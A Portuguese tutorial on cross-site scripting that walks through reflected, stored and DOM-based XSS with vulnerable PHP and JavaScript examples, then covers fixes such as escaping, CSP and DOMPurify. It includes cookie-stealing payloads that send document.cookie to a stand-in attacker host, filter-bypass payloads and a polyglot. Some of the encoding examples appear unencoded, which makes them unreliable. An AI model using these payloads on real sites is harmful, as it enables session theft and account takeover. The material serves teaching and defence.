XSS na prática: explorando e corrigindo
1. Introdução ao Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança que permite a injeção de scripts maliciosos em páginas web visualizadas por outros usuários. Para desenvolvedores, XSS representa um dos riscos mais críticos, pois explora a confiança que o navegador deposita no conteúdo originado de um servidor legítimo.
Os impactos reais de um ataque XSS bem-sucedido incluem:
- Roubo de sessão: captura de cookies e tokens de autenticação
- Desfiguração de sites: alteração visual do conteúdo apresentado
- Sequestro de usuário: execução de ações não autorizadas em nome da vítima
- Keylogging: registro de teclas digitadas pelo usuário
- Distribuição de malware: redirecionamento para sites maliciosos
Existem três tipos principais de XSS:
- XSS Refletido: o payload é refletido imediatamente na resposta do servidor
- XSS Armazenado: o payload é persistido no servidor e executado repetidamente
- XSS DOM-based: a vulnerabilidade existe no código JavaScript do lado do cliente
2. XSS Refletido: Explorando e Compreendendo o Fluxo
O XSS Refletido ocorre quando dados fornecidos pelo usuário são imediatamente retornados pelo servidor sem sanitização adequada. O vetor mais comum são parâmetros em URLs e campos de formulários.
Exemplo prático vulnerável:
Considere uma página de busca que exibe o termo pesquisado:
<!-- busca.php -->
<form method="GET">
<input type="text" name="q" placeholder="Pesquisar...">
<button type="submit">Buscar</button>
</form>
<p>Você buscou por: <?php echo $_GET['q']; ?></p>
Exploração:
Um atacante envia uma URL maliciosa para a vítima:
https://site-exemplo.com/busca.php?q=<script>alert('XSS')</script>
Quando a vítima acessa esse link, o servidor reflete o script diretamente no HTML, executando-o no navegador. O payload pode ser facilmente modificado para roubar cookies:
https://site-exemplo.com/busca.php?q=<script>document.location='https://atacante.com/steal.php?c='+document.cookie</script>
3. XSS Armazenado: O Perigo Persistente
O XSS Armazenado é o mais perigoso, pois o payload fica gravado no servidor e afeta todos os visitantes da página. Cenários comuns incluem campos de comentários, perfis de usuário e posts em fóruns.
Exemplo prático vulnerável:
<!-- perfil.php -->
<?php
// Código vulnerável que exibe o nome do usuário
$nome = $db->query("SELECT nome FROM usuarios WHERE id=1")->fetch();
?>
<h1>Bem-vindo, <?php echo $nome; ?>!</h1>
Exploração:
Um atacante cadastra o seguinte payload como nome de usuário:
<img src=x onerror="fetch('https://atacante.com/log?cookie='+document.cookie)">
Esse payload é armazenado no banco de dados. Toda vez que um visitante carregar a página de perfil, a imagem inválida src=x dispara o evento onerror, executando o script que envia os cookies para o servidor do atacante.
Consequência: todos os usuários que visualizarem o perfil infectado terão seus dados comprometidos, sem necessidade de interação adicional.
4. XSS DOM-based: Ataque no Lado do Cliente
Diferente dos tipos anteriores, o XSS DOM-based não envolve o servidor. A vulnerabilidade existe exclusivamente no código JavaScript que manipula o DOM.
Exemplo prático vulnerável:
<!-- index.html -->
<script>
var user = location.hash.substring(1);
document.getElementById('saudacao').innerHTML = 'Olá, ' + user + '!';
</script>
<div id="saudacao"></div>
Exploração:
O atacante engana a vítima para acessar:
https://site-exemplo.com/index.html#<img src=x onerror=alert('DOM-XSS')>
O JavaScript extrai o valor após # e o insere diretamente no DOM via innerHTML, sem qualquer sanitização. O navegador interpreta a string como HTML, executando o evento onerror.
Funções perigosas que frequentemente causam XSS DOM-based:
innerHTML/outerHTMLdocument.write()eval()/setTimeout(string)insertAdjacentHTML()
5. Técnicas de Exploração Comuns
Atacantes utilizam diversas técnicas para contornar filtros básicos:
Bypass de filtros simples:
// Codificação URL
%3Cscript%3Ealert(1)%3C/script%3E
// Variação de case
<ScRiPt>alert(1)</sCrIpT>
// Uso de HTML entities
<script>alert(1)</script>
Eventos HTML alternativos:
<body onload=alert(1)>
<svg onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
Payloads avançados:
// Injeção via javascript: em links
<a href="javascript:alert(1)">Clique aqui</a>
// SVG injection
<svg><script>alert(1)</script></svg>
// Polyglot que funciona em múltiplos contextos
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
6. Corrigindo XSS: Boas Práticas Essenciais
Escapamento de saída (context-aware encoding):
O tipo de codificação depende do contexto onde o dado será inserido:
// Contexto HTML (corpo da página)
<script>alert(1)</script>
// Contexto de atributo HTML
" onmouseover="alert(1)
// Contexto JavaScript
\x3cscript\x3ealert(1)\x3c/script\x3e
// Contexto URL
%3Cscript%3Ealert(1)%3C%2Fscript%3E
Implementação de Content Security Policy (CSP):
<!-- Header HTTP que bloqueia scripts inline -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com
CSP impede a execução de scripts inline e eval(), neutralizando a maioria dos ataques XSS mesmo que haja falhas na sanitização.
Validação de entrada com whitelist:
// PHP - Permitir apenas caracteres alfanuméricos
if (preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
// Processar entrada segura
}
Sanitização com bibliotecas confiáveis:
// JavaScript com DOMPurify
var clean = DOMPurify.sanitize(dirtyInput);
document.getElementById('output').innerHTML = clean;
7. Ferramentas e Testes para Prevenção
Testes manuais:
- Console do navegador: testar funções como
document.cookieelocalStorage - Extensão XSS Me: identifica automaticamente campos vulneráveis
- Testar todos os pontos de entrada: URL, formulários, headers, cookies
Automação com ferramentas:
# OWASP ZAP - Scan automatizado
zap-cli quick-scan --spider https://site-exemplo.com
# Burp Suite - Interceptação e fuzzing
# Enviar requisição para Intruder e testar payloads
Revisão de código:
Identificar funções perigosas durante code review:
// React - evitar dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userInput}} /> // PERIGOSO
// jQuery - evitar html()
$('#output').html(userInput); // PERIGOSO
// Angular - evitar bypassSecurityTrustHtml
this.sanitizer.bypassSecurityTrustHtml(userInput); // PERIGOSO
8. Conclusão e Checklist de Segurança
XSS continua sendo uma das vulnerabilidades mais exploradas na web. Compreender os três tipos — Refletido, Armazenado e DOM-based — e suas respectivas correções é fundamental para qualquer desenvolvedor.
Checklist prático:
- [ ] Validar toda entrada de usuário (whitelist de caracteres)
- [ ] Escapar toda saída conforme o contexto (HTML, JS, CSS, URL)
- [ ] Implementar Content Security Policy (CSP) rigorosa
- [ ] Usar bibliotecas de sanitização (DOMPurify, OWASP Java Encoder)
- [ ] Evitar funções perigosas (innerHTML, eval, document.write)
- [ ] Realizar testes automatizados com OWASP ZAP ou Burp Suite
- [ ] Revisar código em busca de vulnerabilidades DOM-based
Próximos passos: aprofunde-se no OWASP XSS Prevention Cheat Sheet e mantenha-se atualizado sobre novas técnicas de exploração.
Referências
- OWASP XSS Prevention Cheat Sheet — Guia oficial da OWASP com regras detalhadas para prevenção de XSS em diferentes contextos
- PortSwigger Web Security Academy: Cross-Site Scripting — Tutoriais interativos e laboratórios práticos sobre exploração de XSS
- MDN Web Docs: Content Security Policy (CSP) — Documentação completa sobre implementação e configuração de CSP
- DOMPurify Documentation — Biblioteca de sanitização de HTML amplamente recomendada para prevenção de XSS DOM-based
- OWASP Testing Guide: Testing for XSS — Metodologia de testes para identificar vulnerabilidades XSS em aplicações web
- Google XSS Game — Jogo interativo para aprender técnicas de exploração e prevenção de XSS na prática